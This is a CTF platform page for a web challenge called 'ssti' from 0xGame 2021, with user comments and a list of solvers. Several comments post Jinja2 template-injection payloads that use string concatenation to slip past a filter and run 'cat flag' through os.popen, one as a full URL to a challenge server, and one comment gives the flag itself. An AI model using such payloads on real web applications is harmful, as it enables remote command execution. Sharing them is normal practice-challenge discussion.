sstiWEB 未解决

分数: 0 金币: 0
所属赛事: 0xGame 2021
题目作者: 未知
一　　血: Lamb
一血奖励: 0金币
解　　决: 120
提　　示:
描　　述:
0xGame{}
...
登录回复
评论
nakanodarling 5月前
举报

fenjing

回复 0
yaozhiwang 1年前
举报

0xGame{fl4sk_sst1_ju5t_5o_s0,r1ght?}

回复 0
xiaobai568 1年前
举报

wp可参考https://ctf.bugku.com/writeup/detail/id/1203.html

回复 0
WCRH 1年前
举报

首先无脑尝试几个语句，很容易发现__被过滤，那就字符串拼接（其实还有class被过滤，这个比较难发现，只能一个个尝试）

回复 0
单手压FL 1年前
举报

search={{url_for['_'+'_'+'globals'+'_'+'_']['os'].popen('cat flag').read()}}

回复 0
jz1111 1年前
举报

http://82.157.146.43:18893/?search={{config['_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_']['_'+'_'+'init'+'_'+'_']['_'+'_'+'globals'+'_'+'_']['os'].popen('cat flag').read()}}

回复 1
2728462336 2年前
举报

爆出传参search，利用字符串拼接绕过

回复 0

WriteUp

暂无相关WriteUp
投稿赚金币

评分(0)

暂无评分

解题动态

Chibits 攻破了该题 7天前
dbcjmc 攻破了该题 24天前
tutouqiangqiang 攻破了该题 24天前
凑友希那 攻破了该题 29天前
pure0white0sword 攻破了该题 1月前
luoxu25 攻破了该题 1月前
tcqctf 攻破了该题 1月前
jax123 攻破了该题 1月前
puppyo0o0 攻破了该题 1月前
lipton22 攻破了该题 2月前
HE 攻破了该题 2月前
19957910119 攻破了该题 2月前
xiongh 攻破了该题 2月前
1833284 攻破了该题 2月前
459286939 攻破了该题 2月前
离岛KK 攻破了该题 2月前
sec9527 攻破了该题 2月前
nuxe 攻破了该题 3月前
Sariha 攻破了该题 3月前
lmufc 攻破了该题 3月前
问题反馈